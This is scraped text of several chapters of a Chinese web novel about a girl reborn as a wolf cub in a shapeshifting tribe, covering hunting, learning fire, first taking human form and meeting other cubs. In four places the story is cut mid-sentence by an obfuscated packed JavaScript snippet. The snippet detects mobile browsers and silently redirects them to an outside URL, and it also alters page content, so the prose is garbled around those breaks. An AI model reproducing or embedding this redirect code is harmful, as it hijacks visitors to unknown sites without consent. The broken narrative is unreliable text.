柴棉棉一狠心一跺脚,张大嘴巴对准兔子的腰椎骨末端狠狠一咬。 鲜血涌入喉间,带来浓重的血腥味,柴棉棉惊讶地发现,自己的身体竟在微微颤抖,她居然在兴奋! 这一刻,她深有所悟。 是啊,她是狼啊! 哪怕平常再怎么觉得自己弱小,她也是天生的猎手,是强大的食肉动物,她的骨子就渴望着杀戮的鲜血,会为捕食猎杀而血液沸腾。 柴棉棉不再犹豫,牙齿深深嵌入兔子的腰椎,将仍在小幅度挣扎的兔子从隧道里拖住来,两只爪紧紧按住它的身体,松开牙齿一口咬住它的喉咙,几秒结束了它的生命。 啪啪啪啪,啪啪啪啪…… 是阿爸鼓掌的声音。 “没想到你们兄妹三个当中,棉棉才是最强大的那一个。” 黑黑走到死兔子面前,前爪来回扒拉,低头轻嗅,看向柴棉棉的模样分外呆愣,仿佛是头一次认识她。 “棉棉,你好厉害啊。” “棉棉,原来你这么厉害啊!” 柴棉棉顿时有些不好意思,连忙解释:“也不是很厉害啦,其实我是投机取巧了,家里就这么大的地方,兔子走投无路才会钻入我设下的陷阱,要是到了野外就没这种条件了……” 她叽里咕噜一阵呜呜,然而没人听得懂。 黑黑在她身上狂蹭,甚至忍不住舔舐她的脸颊和脖颈:“棉棉,你真厉害,你怎么能这么厉害啊?这么难抓的兔子你都抓到了,你真的好厉害啊……” 柴棉棉有点受不了了,忍不住想要躲闪:“别舔了别舔了…哈哈…别舔了……” 结果灰灰也兴奋地扑上来,对着她的脸颊和脖颈一阵狂舔。 柴棉棉被两只狼崽迎面狂舔,窘得脚趾头都在抠地。 要她说穿越到这个世界就一点不好,就是族人们都太热情了,哈哈…哈哈哈哈……… 两只狼崽终于表达完了喜爱和崇拜之情,尖爪笑眯眯地说:“棉棉,你该享用你的战利品了。” 在众人期待的目光中,柴棉棉鼓起勇气走到兔子面前,尝试着用牙咬开兔子皮,一只前爪按住兔子,牙齿用力往外撕开灰色皮毛,露出鲜红的血肉。 她看了眼阿爸,冲黑黑灰灰呜呜:“你们吃。” 尖爪脸色一变,连忙阻止:“不不不,棉棉,这是你捕获的猎物,理应你先吃。” 柴棉棉眨了眨眼睛。 尖爪看着她,认真地说:“这是你独自捕获的猎物,就该你独自享用,任何人不得以任何名义拿走它,除非他强抢,但那样,他就是你的敌人了。如果你想要分享,想要照顾哥哥和姐姐,那应该是在你吃饱之后,有多余的部分,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179533|180883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以留给他们,那就已经是对他们很好了。” 柴棉棉点了点头,忽觉一阵安心。 她看着地上的兔子,对自己说,这是她抓到的,就该是她的,不用让给任何人。 柴棉棉怀揣着安定的情绪低下头,在黑黑灰灰眼巴巴的目光中吃掉兔子的躯干、内脏和前肢,留下两条后腿,给他们各分了一个。 “谢谢棉棉。”黑黑灰灰快乐地冲她摇摇尾巴,叼着兔子后腿跑到一边吃掉了。 “好,接下来阿爸教你们怎样正确地捕猎兔子。” 在三只崽面前,尖爪变化成一头威风凛凛的公狼。他体背毛黑,往下夹杂着灰色,到腹部渐变为白色,有一双黄澄澄的眼睛,四只爪爪上的指甲格外锋利尖锐,看上去十分骇人。 他教崽们如何辨识野兔的味道,如何追踪野兔的踪迹,如何潜伏靠近野兔,如何捕捉野兔,以及如何用最简单有效的方法咬死野兔,再放出野兔让崽们一个一个实践。 终于,三只崽都学会了捕食野兔的正确姿势,并因为长时间的饥肠辘辘而刻骨铭心。 然后……阿爸阿妈就再也不给他们做饭了QAQ。 天天带一些小型活物回来,什么野兔啊、松鸡啊、野鸭啊……还有各种各样的鼠,三只崽天天在洞穴里上蹿下跳,和这些小动物斗智斗勇,花好大工夫才能饱食一顿,以至于竟然都瘦了。 “现在你们知道食物有多珍贵了吧。” “知道了阿爸,给点肉吃吧阿爸,要饿死了,呜呜……” 黑黑的哀嚎在洞穴上空回荡,尖爪再看看灰灰棉棉一脸饥色的模样,笑了笑:“这段时间你们表现得很好,阿爸说的奖励该给你们了。” 他出去了一趟,叫来好些狼人。 担着水桶,扛着石锅,拿着食材,扛着木柴,扛着石头,拿着火把,在洞穴外面垒出一个石灶。 “你们阿爸这回可是下了血本了。” 柴棉棉蹲在旁边,歪头不解。 垒这么简陋的一个石灶需要花费很多吗? 洗锅烧水,切成大块的肉通通丟进锅里,灶中火焰舔舐着锅底。 尖爪从石灶里抽出一根燃烧着的木柴,举到三只崽面前,吓得黑黑灰灰连连后退。 棉棉却十分镇定,仿佛她知道不会有危险似的。 尖爪将三只崽的表现看在眼里,笑着介绍:“这是火,部落里除了食物和水之外第二重要的东西。” “它能帮我们照亮黑暗的地方,检查某个地方是否安全,还可以帮我们驱逐野兽,带给我们温暖,给我们治疗伤口,帮我们煮熟食物以便于更好地熬过伤病,学会使用它,你们在野外的生存能力将大大增加。” “黑黑灰灰,不要害怕,只要采用正确的方法,火就是可以掌握的,来,你们靠近感受一下。” 柴棉棉虽然对火熟得不能再熟,却还是学着黑黑灰灰的样子抬起右前足,靠近火焰,用肉垫感受火焰的温度。 “这个距离靠近火,就是安全的,再近一点就会被烧伤,你们要记住。” “好了,现在阿爸教你们怎么钻木取火。” 他摆出一块干燥的木头,一根钻杆,一把木屑,一团很细的干草丝,一些枯叶,在三只崽面前坐了下来。 8. 第 8 章 柴棉棉蹲在旁边,看阿爸认真地钻木取火。 他坐一块石头上,一脚踩住木头一端,先用钻杆在木头的另一端钻出一个浅坑,再在坑边缘刻出一道斜槽,斜槽里填进木屑和干草丝,然后将钻杆怼进浅坑里,双手快速搓动起来。 渐渐地,浅炕里面偶尔有一点火星子的光快速闪过,又极快地消失不见,让人几乎以为是错觉。 但斜槽里却逐渐冒起了烟,仿佛有什么东西正在悄悄燃烧。 阿爸鼻尖上挂着一颗晶莹的汗珠,手臂上的肌肉因用力越发绷紧,略黑的皮肤因毛孔渗出的汗意带了一点水光的反射。 他猛然搓动十几下,抓准时机放下钻杆,抓了把枯叶放在斜槽上,双手拢住枯叶,小心翼翼往里面吹风。 等再放开双手,斜槽里的火焰已经冒出来了,正攀着枯叶的间隙快速燃烧壮大。 黑黑瞪大眼睛,忍不住呜呜直叫:“是火!是火!” “没错,是火,只要掌握正确的方法,人人都可以通过钻动木块得到火焰。”尖爪将鼻尖差点儿怼进火焰里的灰灰一把扫开,捡一根细窄的木柴在斜槽中点燃,让三只崽轮流近距离感受了一下。 “但是如果火不受控制地烧起来,就会变得很危险,这个时候我们可以通过泼水来灭火。”尖爪从水桶里舀起一点水,泼在燃烧的木头上,“如果火势不大,将兽皮打湿了平铺在火上,灭火的速度会更快。” 尖爪讲了小半天,石锅里的水终于开始咕噜冒泡,肉的香气隐约飘出。 黑黑已经哈喇子流一地了:“阿爸,奖励好香啊。” 尖爪笑着揉揉他的脑袋,特别温柔地给他擦口水:“这就是熟食。” “兽神指示我们,熟食增长智慧。熟食吃得越多,越能尽早变人。”尖爪拿起干净的棍子,拨动汤里的肉块,插进去看看肉熟了几分,“而且熟肉也比生肉好吃,兽人得了伤病吃熟肉更容易恢复,就是做起来非常麻烦,要灶、要锅、要柴、要水……部落里大多数族人都没有时间。” 一家人守在锅边等了又等,肉终于全熟了。 尖爪往三个饭盆里打了肉和汤,招呼三只崽吃饭,然后又盛了两碗,和明眸坐在一起品尝。 夜晚凉风习习,饭盆里的汤有一点烫。 柴棉棉努力鼓起她那张豁口狼嘴往盆里吹气,试图给肉汤降温,然而并没有什么用。 黑黑冲她呜呜叫:“看我!看我!” 他从鼻子里喷出一口气,饭盆上面飘着的水汽一下子就被喷散了。 柴棉棉难言地皱起了脸。 不知道为什么,她突然间就有一点洁癖了。 从鼻子里喷出来,那会带着鼻涕吧? 总而言之她还是等等好了。 山上夜里温度低,很快肉汤就凉到能入口了,柴棉棉低下脑袋用舌头卷起一口,温热的汤水滑入喉中,蛋白质和脂肪的香气溢满整个口腔。 确实比生肉好吃一些。 虽然依旧没有味道,而且肉很柴,嚼起来很费劲,但在齿间咀嚼时,还是让柴棉棉感觉仿佛重新回到了人类文明。 她有一刹那的怔忡。 上辈子啊,仿佛已经离她很远了,其实她做狼才几个月,但她竟然一点儿也不怀念上辈子的人生。 这种感觉让她有一点惊奇,又觉得分外能够接受。 她就是喜欢现在的生活,哪怕这里如此原始、粗陋,她就是更愿意待在这里。 不过上辈子,她是什么样子呢? 柴棉棉脑海中浮现出一个女孩的影像。 齐耳短发,皮肤较白,五官端正,经常被人评价为清秀,偶尔会被长辈们夸奖乖巧,实则说话总是底气不足,甚至不敢看对方的眼睛。 那个时候她每天都过得很压抑,将全部期望压在了考大学上,几乎没怎么开心过。 不过繁忙的功课之余,她会悄悄做一些钩织,钩些手套、围巾、袜子、小钱包……看着作品逐渐在手中成型,她会有一些满足感,能够缓解些压力。 所以她十根手指的指甲总是剪得光秃秃的,能有多贴肉就有多贴肉,手上布满老茧,每一条掌纹都很深,远没有同龄女生细嫩白皙。 柴棉棉想着想着,突然发现眼前出现了一双手。 哪来的手? 她不是狼吗?她怎么会有手? 她不要做人!她要做狼! 柴棉棉心里一慌,竟直接站了起来,低头一看,是两只光秃秃的白脚丫。 “呜——阿妈——” 她下意识转头望向明眸的方向,委屈地呜哇哭了起来。 明眸早就发现她的变化了,但害怕惊扰了她导致她初次化为人形出现什么差错,一直不敢出声。 现在见她害怕得直哭,连忙拿着兽皮走过去,将她一裹抱了起来:“不哭不哭,棉棉是和阿妈一样能够变成人了,我们棉棉真厉害,居然吃第一顿熟食就能变成人了。” 她忍不住亲她的小额头、亲她的小脸蛋:“我们棉棉的人形态真好看啊。看这双眼睛,简直是我见过的最美丽的黄色,全身白白的软软的,真是阿妈的软棉棉!” 尖爪十分迫不及待,两只手已经伸进明眸胳膊里了:“快,给我抱抱,给我抱抱!” 柴棉棉被这两人一夸一亲一哄抢,一下子就忘了自己刚刚在委屈什么。 她在阿爸怀里动了动屁股,换了个舒服的姿势,重新举起自己的一双手观察。 是上辈子完全不一样的一双手。 似乎是继承了阿爸的大手掌,她的手指很长,弯曲使劲的时候能够透过皮肉看见虬起的肌肉筋骨,看上去就十分地有力气。 “阿爸。” “哎,真乖!”尖爪高兴得几乎合不拢嘴,在她软乎乎的小脸蛋上连亲好几下。 不过他也没忘了黑黑和灰灰,抱着棉棉蹲下来和两只崽说话:“棉棉可以变成人了,你们也不要着急。每只狼初次化成人形的时间都不一样,有的早些,有的晚些,你们迟早会和棉棉一样可以变成人形。” 他主动引导道:“来,你们闻闻棉棉,就知道她还是你们的妹妹,只是样子变了。” 黑黑灰灰迟疑上前,低头嗅了嗅她的手,随即耳朵欢快地立起来,热情地舔她的手。 柴棉棉则是瞬间领会了撸狗子的手法,挠他们的下巴,挠他们的耳朵,挠他们的脖颈,直把他们挠得眼睛都眯起来了,都忘乎所以了。 两只狼头在她脖颈间蹭来蹭去,逗得她咯咯直笑,阿爸看见她带笑的眼睛,在她脸上亲了一口,阿妈也凑过来,在她脸上亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179534|180883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一口。 这一刻,柴棉棉几乎热泪盈眶。 她觉得好开心,开心得都想哭了。 不过现在哭太奇怪了,她努力憋住,说:“阿爸阿妈,黑黑灰灰,我想送你们一个礼物。” 尖爪:“礼物?什么礼物?” 柴棉棉:“就是好吃的,叫姜撞奶。” 即然准备锅灶柴火和清水很麻烦,不如就趁今天刚好阿爸准备了,她抓住机会做一回,让阿爸阿妈尝点儿新鲜好吃的,当然还有黑黑灰灰,她也想做给他们尝尝。 明眸想了想,说:“行啊,需要做什么?” 柴棉棉一愣,迟疑道:“首先,需要把锅洗干净。” 明眸说:“我来洗。” 尖爪追问:“然后呢,需要做什么?” 柴棉棉无措地挠了挠眉头:“然后…要挤一些羊奶。” 尖爪说:“我来。” 两个大人忙活去了,黑黑凑上前呜呜:“我呢?” 柴棉棉看着黑黑兴致勃勃的样子,忽然开心地笑了:“黑黑,你就帮我踩一些野姜汁出来。” 黑黑歪头:“什么是野姜?” 柴棉棉说:“就是那个辣辣的根茎,就叫野姜。” 黑黑恍然大悟,随即兴高采烈地摇起了尾巴:“我来踩!我可会踩了!” 灰灰见黑黑也有事情做了,连忙将狼头凑到柴棉棉面前:“我呢?我做什么?” 柴棉棉有些迟疑,好像…没什么可以做的了吧? 灰灰顿时急得呜呜直叫。 柴棉棉忽然灵机一动:“你帮我看着黑黑吧,别让他不洗爪就去踩野姜汁,那样很脏的。” 灰灰特别喜欢这个活儿,脑袋点得欢快。 大家忙活一阵,准备工作做好了。 灶中燃起大火,等火把石锅锅底烧得微微热了,就抽掉几根木柴,转成小火。 然后往锅中倒入羊奶,缓缓搅拌,煮到热而不沸,羊奶边缘有极微小的气泡,就迅速舀起来,从20厘米的高空倒入盛有姜汁的饭盆,然后盖上盖子。 一家人看她动作行云流水一气呵成,面面相觑。 尖爪问:“这样就好了吗?” 柴棉棉点头:“嗯,静置一会儿就好了。” 她习惯性开始收拾厨房,手上的东西却被明眸抢走了。 “我来,你也就比灶台高一点儿,不用你干活,旁边歇着去。” 尖爪也笑眯眯地说:“跟黑黑灰灰玩去吧,东西我和你阿妈收拾就行了。” 柴棉棉看了看自己恍若5岁的五头身,不好意思地笑了笑,撒丫子跑了。 黑黑灰灰跟在她身边,好奇地观察她。 黑黑立起来,两只前足举得高高的,嘴里呜呜:“棉棉,你变矮了。” 柴棉棉自己也发现了。 黑黑如今长得越发高大,立起来脑袋能够着阿妈的胸口,柴棉棉的狼形态比他小两圈,立起来脑袋能够到阿妈的肚脐眼儿,如今变成人形态,脑袋却只能够到阿妈的大腿根。 身长至少缩水了1.5倍。 可以想见,等她的人形态长得跟阿妈一样高,变成狼形态,体型该是何等的庞大,长度绝对超过2米。 2米的白狼啊,一定特别威风凛凛。 9. 第 9 章 眼前一个粉色肉垫晃了晃。 魏敏从幻想中回神,一看,是黑黑的爪。 他呜呜催促:“棉棉,好吃的什么时候可以吃啊?” 柴棉棉算了算时间,应该是可以吃了。 她跑到灶台边揭开盖子,仔细看了几眼成品,转身高兴大喊:“阿爸阿妈,可以吃了!” 明眸尖爪放下手里的活计凑上来,黑黑灰灰也趴在灶边往锅里看。 只见锅底凝固着一方白色膏体,呈现出细腻嫩滑的质地,表面有轻微些许不规则的纹路,在火把的照射下泛着自然跳跃的光芒。 明眸尖爪对视一眼:“这是……?” 柴棉棉说:“这是羊奶凝固了。” 阿爸阿妈的神色并没有多惊喜,柴棉棉心里不由忐忑了起来。 该不会她麻烦了一大家子干活,最后做出来的东西大家却不喜欢吃吧? 她强行忍住了忐忑,不肯表现在脸上,假装神情自若地拿碗,给阿爸阿妈分别舀了一份,又给黑黑灰灰一人打了一盆。 黑黑灰灰舔了一口尝尝,便立刻埋进盆里欢快地吃起来,舌头舔得啪嗒啪嗒响,尾巴摇得跟螺旋桨似的。 但这俩崽脑子里整日除了吃还是吃,不能说明什么。 柴棉棉看着阿爸阿妈,心里竟然有些紧张。 明眸端起碗,仔细观察一圈,舀起一勺,放入口中。 她怔了怔,又立刻舀起一勺放入口中,仔细品咂。 尖爪关心道:“怎么样?好吃吗?” 明眸说:“你吃吃看。” 尖爪学她的样子舀起一勺吃掉,怔了怔,顿时又舀起一勺仔细品咂。 两人一模一样的表现快给柴棉棉忐忑死了,两只眼睛几乎黏在了两人脸上。 怎么样嘛?到底是好吃还是不好吃啊? 明眸感叹:“我从来没有吃过这样的东西。” 尖爪深表赞同:“我也是。” 部落的族人从小长到大,都会生出一种共识:人形态的舌头比狼形态的舌头更能品尝复杂的味道,同样的,也就更挑剔。 比如生肉。放一天和放两天,狼舌头虽然觉得有差别,但能够接受;但人舌头就不一样了,吃放到第二天的生肉,只觉得腥得几乎咽不下去。 所以族人们都更倾向于用狼形态吃饭。 这是明眸和尖爪生平第一次感受到用人舌头吃东西的优势——能够淋漓尽致地享受食物的美味。 口感,介于流动的水和需要咀嚼的肉之间,一不留神就滑进了喉咙,什么味道都没来得及品尝,只在口腔中留下一股浓浓的奶香和勾人回味的辛辣。 所以两人才会在第一勺之后立刻舀起第二勺,并且仔细品咂。 仔细品咂时,那凝固的羊奶用舌头轻轻一抿就化开了,绵密细腻,让人久久难以忘怀。 味道,野姜的辛辣和羊奶的醇香在嘴里碰撞出剧烈的火花,又神乎其技般地融和在一起,使得羊奶的醇香更加浓郁,野姜的辛辣更加鲜明而不刺激,带来鼻腔与口腔的双重享受。 阿妈眉眼带笑地看过来,神情中满是欣赏和赞叹:“棉棉,你真是太聪明,太厉害了!你怎么能做出这么好吃的食物?这是我这辈子吃过的最好吃的东西。” 柴棉棉一下子就不好意思了。 她低下头,脚丫子动了动:“也没有很厉害啦,就是一点小巧思,而且羊奶比较膻,姜也不是特别好,如果有条件的话,应该能做得更好吃的……” 她絮絮叨叨,却突然被阿妈抱起来了。 惊愕抬头,是阿妈温柔的琥珀色眼睛,带着坚定的肯定:“棉棉就是很厉害,发现了美味的野姜,又做出了美味的姜撞奶,除了棉棉谁都做不到,棉棉当然很厉害了。” 柴棉棉刹那间鼻子一酸,忍不住埋进她的脖颈间:“阿妈,你真好。” 明眸感觉脖颈间湿漉漉的,有些惊异。 她转头瞧尖爪一眼,尖爪冲她肯定地点头,她眼底闪过一丝了然。 棉棉出生不久就开始频繁哭泣,她和尖爪很忧心,悄悄找了老祭司好几次,老祭司告诉他们,不用过于担心,这孩子哭泣并非什么坏事,恰恰相反,是她正在好转的证明。 别的崽一夸就笑,这崽一夸就哭,看来以后得多夸夸才行。 她拍了拍棉棉的小屁屁,抱着她好一顿哄,这孩子搂她搂得更紧了。 明眸心里开心满足极了。 她无法形容这种感觉,只觉得最好的时光莫过于此时此刻,她想永远停留在这段时光里。 尖爪看得十分眼馋,奈何明眸不给他抱棉棉,他只好将黑黑灰灰薅来,搂进怀里狠狠一顿揉搓,满足他父爱爆棚的心。 柴棉棉做的姜撞奶受到全家人的一致好评,可谓是大获成功。 第二天一早,柴棉棉刚从睡梦中醒来,就看见一黑一灰两个狼头出现在上空。 两只崽眼含期待,呜呜问她:“棉棉,我们今天吃姜撞奶吗?” 柴棉棉也呜呜叫:“吃不了了,柴火没有了,清水也不够了。” 瞬间,两只崽眼里的光暗淡下去,他们失落地垂下耳朵,怏怏不乐地跑开。 吃完白天的第一顿饭,阿妈拿来一把梳子,招呼三个崽:“过来,我给你们梳梳毛。” 阿妈梳得格外仔细,打结的地方全梳开了,有脏污的地方还用湿兽皮擦一擦,梳出三只油光水滑的靓崽。 阿妈说:“你们都长大了,不能天天跟着阿妈,等会儿有一位哥哥来,你们就跟着哥哥一起去找伙伴们玩。” 黑黑不解:“什么哥哥?什么伙伴?” 正说着,洞穴外面来了一大人一只狼,大人柴棉棉眼熟,是疾风叔叔,阿爸的好朋友,曾经帮阿爸给她捉过母山羊。 狼,体型比黑黑大两圈,看上去似乎就是一只成年狼了,很沉稳的样子,身上的毛是常见的黑棕灰白四色掺杂,唯独有一点很特别,他的两只耳朵,耳朵尖尖那一块是全黑的。 “这是黑耳哥哥,都跟黑耳哥哥打个招呼。”阿妈如此介绍。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179535|180883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑灰白三只崽乖巧依次呜呜,并上前礼貌性地舔了舔他的面颊,他也低下头,分别舔了舔三只崽的后颈,以示回礼。 阿爸跟疾风叔叔说话:“那我家三只崽就拜托黑耳了。” 疾风叔叔满口答应:“放心,我家黑耳会照顾好他们的,尤其是棉棉,绝不让别人欺负了她。” 黑耳呜呜表示肯定。 阿妈挨个摸了摸黑灰白三只崽的脊背,拍拍白毛崽的屁股:“好了,都跟黑耳哥哥出去玩吧。” 三只崽齐齐看向她。 明眸笑了:“怎么?舍不得阿妈呀?” 黑黑凑上前,把脑袋搁在她脖颈间撒娇,灰灰也用尾巴缠绕她的小腿,脑袋在她手臂上蹭来蹭去,柴棉棉虽然什么都没做,却一直蹲在那里,凝望着她,根本舍不得移开眼睛。 明眸摸摸这个,又摸摸那个:“平常你们不是总对外面好奇,想出去看看吗?阿妈以前不让你们出去,是因为你们年纪太小了,如今你们都长大了,也知道怎么使用自己的牙齿和爪子,就该和同伴们一起出去探索外面的世界了。” 她眉眼温柔:“等你们在外面玩够了,想阿妈了,晚上回来还是能见到阿妈的。” 尖爪搂住她,对三只崽说:“阿妈也有自己的事要做,她带了你们半年,现在也该去做她自己的事了。” 三只崽依依不舍,跟阿妈阿爸告别了很久,才随黑耳走出洞穴。 洞穴外的风景柴棉棉已经看过很多次了。 是碧水蓝天,是一望无际的平原,是太阳每天从前方升起,照亮洞穴,到下午又跃过山峰落到背面去。 往左(北)看,天地相接处,一脉群山似淡墨勾勒,在云雾中若隐若现;往右(南)看,同样是起伏的山影蜿蜒,与远天融成朦胧的一线。 一条大河自北而来,气吞万里如虎,奔流不息;西侧山洞之后,又有一条大河如脱缰野马,涛声震耳,奔涌向前。 两条河流在山洞前方骤然汇聚,浪涛相击,激起千层雪,旋即融作一脉巨流,载着雷霆之势向东而去,在沿岸冲积出一汪汪浩渺湖泊,倒映着天光云影。 如此壮观、辽阔、美丽的景色,柴棉棉即使看上无数次都忍不住为此驻足沉迷。 “棉棉,走了。”黑黑在前方催促。 柴棉棉抬脚,随哥哥姐姐继续往外走,探索陌生的部落领地。 沿着踩出来的小径往南走,地势平缓处,赭红岩壁间嵌着三三两两的洞穴,三五为簇顺着山势蜿蜒铺开,不挤在一处。洞口多朝南,旁边爬满枯牵牛藤,还有野菊花在风中摇曳。 翻过不陡的小坡,坡上茅草泛浅黄,踩上去簌簌响,坡下平地被暖阳晒得暖融融,两个竖短发、腰间围着兽皮裙的小孩正蹲在地上斗草,身边散着些断草茎,秋风吹过,草茎在光影里轻轻摇晃。 “火娃,芽芽,我们来了!” 前方领路的黑耳狼嗷呜长啸,两小孩闻声齐齐抬起脸,柴棉棉跟在黑黑灰灰后面跳下坡,往两小孩那边走去。 10. 第 10 章 黑耳化为人形,变成一个约7、8岁模样的小孩,他跟两小孩介绍:“这是尖爪叔叔的三只崽,全身黑的叫黑黑,全身灰的叫灰灰,全身白的叫棉棉。” 芽芽疑惑歪头:“全身白的为什么不叫白白,叫棉棉?” 柴棉棉也想知道。 如果部落有棉花,为什么族人们都还在穿兽皮呢?不应该已经将纺织技术点出来了吗? 火娃积极举手:“我知道!我知道!老祭司洞穴里有一副画,画着一朵朵棉花,老祭司说,那是兽神送给她的,棉棉全身白白的,像画上的棉花,所以她叫棉棉。” 柴棉棉更疑惑了。 兽神?是个什么东西? 是真实存在的?这个世界有神? 黑耳一本正经地跟三只迷茫的狼崽解释:“兽神,就是我们所有兽人的神。听说每个部落的祭司第一次主持丰收节时都会得到兽神的召唤,得到兽神送的一件礼物。我们灰狼部落的老祭司慧天年轻时第一次主持丰收节,兽神送她的礼物就是一副画着棉花的画。” 柴棉棉没想到,她的名字来历这么不平凡,居然跟神有关。 明明上辈子她的名字只是一朵普普通通的棉花而已啊。 柴棉棉惊讶之余,心情也有些复杂,同样的名字换到不同的环境居然可以有这么大的差异。 她不愿意想太多,好奇地问起两个小孩的名字:“那你为什么叫火娃?” 火娃变成狼形,在黑灰白三只崽面前转了个圈,骄傲地展示环绕她身侧一圈的纹路。 黑黑惊奇地呜呜直叫:“你居然有红色的毛!” 灰狼部落族人的毛发普遍是黑棕灰白四色掺杂,像柴棉棉的阿爸尖爪,身侧的棕色毛是棕黄,再比如刚认识的黑耳哥哥,棕色毛发也是棕黄,还有疾风叔叔大力婶婶,他们身上的棕色毛都是棕黄。 唯独火娃不同,她脊背与腹部之间掺杂的棕色毛竟然偏近棕红,毛发参差错落,体现出来的样子就是弯弯曲曲的,很有火焰轮廓的模样,怪不得她爸妈给她取名为火娃。 柴棉棉又好奇地看向芽芽:“那你呢?你为什么叫芽芽?” 芽芽也哗地一下变成狼形,低头展示。 黑黑围绕他走了一圈:“你身上…什么都没有啊。” 芽芽急了,脑袋往前顶,呜呜叫:“你看我头上的毛!” 黑耳笑了一下,替他解释:“芽芽头顶有两撮永远不会塌的毛,像春天的芽一样,所以他爸妈给他取名叫芽芽。” 柴棉棉往他脑袋上面看过去,恍然大悟。 互通过姓名,黑灰白三只崽轮流上前,舔了舔火娃和芽芽的面颊表示礼貌,又被他们两个舔了下后脖颈以示回礼。 火娃变成人形,拿起兽皮往腰间一围,迫不及待地说:“新伙伴也见了,我们可以去打架了吧?” 柴棉棉脑袋上空徐徐升起一个问号。 柴棉棉:打架? 黑耳神情沉稳地说:“去!当然要去,不去他们还以为我们怕了他们。” 芽芽也变回人形,一脸认真地握拳:“没错,就算要输,我们也要在战场上堂堂正正地输,而不是胆小地逃跑!” 柴棉棉:??(问号更多了) 黑耳顿时一头黑线:“说什么丧气话?什么我们要输?我们要赢!” 芽芽点头附和:“对,我们要赢!” 唉?等等!! 她见三个小孩要走,连忙挡在黑耳面前,呜呜询问情况。 怎么回事?怎么就要打架了?和谁打架? 黑耳以为她害怕,低头安慰道:“你放心,你和黑黑灰灰是年纪最小的幼崽,不用你们参与,你们在旁边看着就行了。” 黑黑很不服气:“我很强,能打!” 灰灰也不服气地呜呜附和。 黑耳从鼻子里嗤出一道气:“就你俩?腰都没人家胳膊粗,连我都打不过,上去了人家巴掌一挥,你俩爬都爬不起来。” 黑黑在家里向来是当老大的,被这么说,他就更不服气了。 他发出挑衅的低吼声:“来啊,打一场!” 刹那间,火娃芽芽仿佛接受到了什么信号,立刻蹦到黑耳前面,连狼形态都没来得及变,就对黑黑龇牙低吼,回应他的挑衅。 黑耳一脸沉稳老大的模样:“本来看在尖爪叔叔的份上,我没想跟你打,我跟我阿爸保证过,要照顾你们的,但是现在看来,战斗是避免不了的,否则你们不会服气。既然如此,就按规矩来吧,先打过芽芽和火娃,你就有资格和我打了。” 柴棉棉看看左边的黑黑灰灰,又看看右边的黑耳火娃他们,额角缓缓降下三条黑线。 怎么回事?幼崽帮派吗?还论资排辈的? 她觉得幼稚搞笑,两方狼崽却都很严肃。 黑黑直接嗷呜一声:“那就按规矩来,我先和谁打?” 芽芽扯掉兽皮裙,变成狼形态四肢着地,嗷呜回应:“先和我打!” 两只狼崽体型差得不多,看起来黑黑只比芽芽小一点儿。 似乎狼形态进入亚成年时期,生长速度就变慢了,开始跟随人形态的生长发育规律,就好像5岁的小孩也只比7、8岁的小孩小一点儿。 柴棉棉想,就算黑黑会输,应该也能和芽芽不相上下打十几个来回,让黑耳他们不敢再小看狼。 显然,黑黑也是这么想的。 他压低身体贴向地面,耳朵前倾竖起十分警觉,眼睛死死盯着对面,龇牙发出凶狠的低吼。 突然,他动了。 起身飞扑,动作极快,只能看见一道黑影如闪电般在半空闪过,疾速扑过去。然而另一道身影动作比他更快,在他扑过去的一瞬间,那道影子便已经飞过来,毫不留情地将他撞翻在地。 柴棉棉定睛一看,芽芽已经将黑黑踩在地上,牙齿抵住他的喉咙低吼着。 一轮,KO。 简直就像当初黑黑揍柴棉棉那么轻而易举。 芽芽放开他,后退了两步,黑黑爬起来,晃了晃脑袋,似乎还没有搞清楚自己到底是怎么输的。 芽芽呜呜:“还要再比吗?” 黑黑想了一下:“比。” 于是两只狼又比了一轮,芽芽依旧是一招KO。 黑黑彻底心服口服,主动走过去舔芽芽的面颊,表达对强者的尊敬,并接受他舔后颈毛,表示对强者的臣服。 灰灰打不过黑黑,但她还是上去跟芽芽比了一轮。 芽芽看过来:“棉棉,你要跟我打一场吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179536|180883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 